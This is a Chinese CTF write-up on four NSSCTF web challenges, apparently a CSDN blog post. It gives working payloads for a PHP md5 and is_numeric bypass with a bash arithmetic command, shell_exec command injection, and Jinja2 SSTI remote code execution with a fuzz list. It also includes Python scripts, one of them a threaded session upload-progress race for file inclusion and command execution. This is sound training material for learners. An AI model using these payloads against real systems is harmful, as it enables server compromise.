NSSCTF靶场题解(5)

站在小白的视角上,写了在写题目的wp方面更多是想体现题目思考的逻辑和细节,更多是写给同样新手小白的内容,解题方面为什么从这一步到下一步的,很助于培养思考题目的逻辑思维尽我所能把细节阐释到位,有些地方可能理解说辞不是特别到位,如果有问题就麻烦各位大佬师傅指点~

其他刷题记录可以在博客主页上看到。主方向是web。


目录

[LitCTF 2024]百万美元的诱惑

[NSSRound#7 Team]ec_RCE

[HNCTF 2022 WEEK2]ez_SSTI

[第五空间 2021]EasyCleanup


[LitCTF 2024]百万美元的诱惑

开题。

代码审计一下:

GET传参:a,b,c;

要求:a和b值不等但md5加密后二者需要若相等。c不能在is_numeric()处理后返回false。并且c需要大于2024。

a和b这里有两种绕过MD5的方法

数组绕过选一对在MD5加密后0e开头的字符【这里推荐一个博客:0e开头MD5值小结_0e开头的md5-CSDN博客

c的绕过。这里可以去PHP手册上搜一下用法,这种思路对培养以后做题各方面都有好处。

这里显示 c 需要是 数字 或者 数字字符串返回 true。我们需要的目的是返回true。

而且不光是需要函数is_numeric返回true。

而且c要大于2024。

这里就有一个知识点: 数字字符串在和数字比较时候会自动转化成数字去比较。比如2025p会转化为2025。

payload:

//分别对应md5的两种绕过方法
​
a[]=1&b[]=2&c=2025a
​
a=s878926199a&b=s214587387a&c=2025a

回显【./dollar.php】

我们访问一下。

代码审计一下:

GET传参x。

x不能含有字母,数字,#等等。

但是flag在12.php中。

最终执行shell的地方是代码:system("cat".$x.".php");

所以我们需要让x的值为 12

不能用到数字,字母。那我们只能通过取反或者异或的形式把12凑出来。

这里payload中我们用到一个知识。

linux语法中,我们可以使用$(())进行数学运算。

$((7*7))

回显49。

$(())

回显0。

但是又不能写 $((3*4)) 。虽然结果是12,但这一定会被ban掉。怎么办?

我们利用【~】取反字符。

$((~$(())))

回显-1

$((~$(())))$((~$(())))  //回显-1-1
$(($((~$(())))$((~$(())))))   //回显-2
$(($(($((~$(())))$((~$(())))))))  //回显1 它是在 $((~$(())~$(()))) 基础上再取反。等于$((~$(-2)))

同理。我们需要13个-1。再取反。$((~$(-13))) 即是 12

payload:

//这里我写一下过程。
$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))   //13个-1
​
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))  //13个-1加和 值为-13
​
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))   //对-13取反。即先变13再减1=>12
​
//最终payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

最终需要查看码源才能看得见flag。

[NSSRound#7 Team]ec_RCE

开题。

先代码审计一下:

POST传参:action 和 data

$data参数是被拼接了的。最终展示应该是 ‘data’。

shell_exec()函数,类似于system,eval等。

函数里面一长串:"/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar

这个第一眼扫过去就容易被唬住。其实属于是打开一个java文件的操作。

那么这种情况下我们如何执行我们的shellcode呢?

一开始我想了挺久,但一直停留在前面文件操作,不知道怎么下手。

再看几眼,发现可以用分号在这里执行多个命令。

即法一:

【;】分号: 顺序地独立执行各条命令, 彼此之间不关心是否失败, 所有命令都会执行。

$action = ;

$data = ls /;

分号在这里的作用。就是使得两个命令分开执行。

这两个命令:1个是调用java文件1个是查看根目录。

但是特别注意。不能写成

action=;&data=ls /

要写成:

action=;&data='ls /'
或
action=;&data="ls /"

就相当于如果你写system(ls /)一样是错的。

需要写成system('ls /'); 或者system("ls /");

但是如果你写

action=;&data=ls

是没问题的。因为这等于system(ls);

法二:

【||】:顺序执行各条命令, 只有当前面一个执行失败的时候, 才执行后面的。

payload:

action=||&data='ls /'

而这里是有回显的。证明第一个命令是执行失败的。

拿flag。

[HNCTF 2022 WEEK2]ez_SSTI

开题。

ok。SSTI注入。

我们先抓包看看参数名是什么。大多数情况下都是name.

试试。

然后一般情况下都会过滤一些东西。我们看看过滤了什么。

直接fuzz测试一下。

【SSTI-fuzz字典】

//ssti-fuzz.txt 
.
[
]
_
{
}
{{
}}
{%
%}
{%if
{%endif
{%print(
1
2
3
4
5
6
7
8
9
0
'
"
+
%20
%2B
%2b
join()
u
os
popen
importlib
linecache
subprocess
|attr()
request
args
value
cookie
__getitem__()
__class__
__base__
__bases__
__mro__
__subclasses__()
__builtins__
__init__
__globals__
__import__
__dic__
__getattribute__()
__getitem__()
__str__()
lipsum
current_app

基本上没有过滤什么。不算难的。

直接上payload测试一下。

这个给一个python脚本用来找可以获得含有可以执行shell命令方法的类

import requests
​
num = 0
for num in range(500):
    try:
        url = "http://node5.anna.nssctf.cn:26775/?name={{[].__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__.popen}}"
        res = requests.get(url=url).text
        if 'popen' in res:
            print(num)
        num += 1
    except:
        num += 1

找到在137

直接上payload:【以下都可以。】

?name={{[].__class__.__base__.__subclasses__([137].__init__.__globals__.popen("ls").read()}}
​
?name={{[].__class__.__base__.__subclasses__()[137].__init__.__globals__.popen("tac flag").read()}}
​
//这个也可以。
?name={{config.__class__.__init__.__globals__['os'].popen('tac flag').read()}}

当然。也可以工具【fenjing】一把梭哈。

这个在我主页有介绍window下载及如何快速上手使用:fenjing工具的使用

[第五空间 2021]EasyCleanup

开题。

我们先来浅代码审计一下:

这段PHP代码有两个方法:filter()和checkNums()

这两个方法基本上都是正则过滤。预防恶意代码。

两段 if 语句。

第一段 IF 语句

GET传参mode。如果mode=eval。则执行【eval(phpinfo());】

如果mode!=eval,则对mode进行filter和checkNums两种方法正则过滤,同时mode长度不能大于15,否则回显【hacker】并终止执行命令。

如果三个条件都没问题,则将$mode内容当作PHP代码执行。

第二段 IF 语句:

GET传参file。file长度不能大于15,且对file用filter方法进行正则过滤。否则回显【hacker】并终止执行命令。

如果两个条件都没问题,则对 file 进行文件包含。

显然。file的过滤条件没有mode严格。因为用file进行文件包含是一个更优解。

file进行文件包含往往利用PHP伪协议,目录穿越日志文件包含等。但这些都基本上会被fileter方法过滤掉。

而session文件包含也许行得通。

在session处我们可以利用GET传参将我们构造好的恶意代码【shellcode】传入session中

问题来了,在没有GET传参的条件下,如何上传我们构造好的shellcode呢?

这个时候session.upload_progress.enabled这个选项就很关键

session.upload_progress.enabled我们用phpinfo()可以看见。

第一个 IF 语句中 我们可以查看phpinfo的内容。

那为什么又故意让我们看见phpinfo的内容呢??

答案不言而喻。用session进行文件包含可能就是预期解。

这个功能开启【On】意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将shellcode写入session文件。

而在本题的phpinfo中,这个功能是开启了的。

这里摘用一下其他师傅的wp里的内容,觉得非常好,有助于理解python脚本。

    【session.auto_start】:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项—【session.use_strict_mode】。默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
    
    【session.save_path】:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
    
    【session.upload_progress_enabled】:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
    
    【session.upload_progress_cleanup】:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
    
    【session.upload_progress_name】:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
    
    【session.upload_progress_prefix】:它+session.upload_progress_name 将表示为 session 中的键名

而能利用session文件包含方法需要满足:

session.upload_progress.enabled选项状态为On.

包含过程中需要:

1.请求的Cookie中包含Session ID

2.发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段

TIP:

如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。

#session_upload_python
​
import io
import requests
import threading  #多线程
 
myurl = 'http://node4.anna.nssctf.cn:28888/'
sessid = '7t0'
myfile = io.BytesIO(b'5fn_' * 1024) #文件插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');?>"} #这里写命令
mycookie = {'PHPSESSID': sessid}
 
def writeshell(session):
    while True:
        resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)
 
def getshell(session):
    while True:
        payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
        resp = requests.get(url=payload_url)
        if 'upload_progress' in resp.text:
            print(resp.text)
            break
        else:
            pass
 
 
if __name__ == '__main__':
    session = requests.session()
    writeshell = threading.Thread(target=writeshell, args=(session,))
    writeshell.daemon = True
    writeshell.start()
    getshell(session)

拿到flag咯。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值